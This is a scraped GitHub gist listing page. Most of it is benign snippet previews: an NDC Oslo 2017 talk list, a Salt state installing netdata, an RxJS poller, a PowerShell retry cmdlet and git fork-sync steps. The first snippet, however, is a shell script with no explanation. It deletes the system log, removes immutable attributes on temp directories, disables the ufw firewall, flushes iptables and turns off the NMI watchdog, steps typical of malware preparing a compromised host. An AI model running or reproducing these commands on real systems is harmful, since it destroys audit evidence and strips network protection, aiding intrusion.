Skip to content

Instantly share code, notes, and snippets.

/bin/sh
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
echo "nope" >/tmp/log_rot
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
@swlaschin
swlaschin / ndcoslo17_fp_track.md
Created July 5, 2017 19:38
Functional Track talks from NDC Oslo 2017

Functional Track talks from NDC Oslo 2017

Also, here is the list of all videos from NDC Oslo 2017:

Wednesday 2017-06-14

@peterrus
peterrus / netdata.sls
Created July 2, 2017 21:12
Saltstate to install netdata + requirements, tries to update netdata every time this state is applied
# Saltstate to install netdata + requirements, tries to update netdata every time this state is applied
# original by https://github.com/saivert: https://github.com/firehol/netdata/issues/798#issuecomment-242472276
# modified to work on ubuntu 14.04 and 16.04 by https://github.com/peterrus
netdatarequisites:
pkg.installed:
- pkgs:
{% if grains['os'] == 'Gentoo' %}
- sys-devel/autoconf
- sys-devel/autoconf-archive
@whiteinge
whiteinge / rxjs-poller-with-backoff.js
Last active April 1, 2021 23:52
An RxJS poller with incremental back-off as a let-function
import { TimeoutError, timer } from 'rxjs'
import { AjaxTimeoutError } from 'rxjs/ajax'
import {
delay,
filter,
flatMap,
repeatWhen,
retryWhen,
scan,
timeout,
@alexbevi
alexbevi / Execute-With-Retry.ps1
Created February 6, 2015 15:28
A PowerShell cmdlet that can be used to retry a failing ScriptBlock
<#
This function can be used to pass a ScriptBlock (closure) to be executed and returned.
The operation retried a few times on failure, and if the maximum threshold is surpassed, the operation fails completely.
Params:
Command - The ScriptBlock to be executed
RetryDelay - Number (in seconds) to wait between retries
(default: 5)
MaxRetries - Number of times to retry before accepting failure
@CristinaSolana
CristinaSolana / gist:1885435
Created February 22, 2012 14:56
Keeping a fork up to date

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream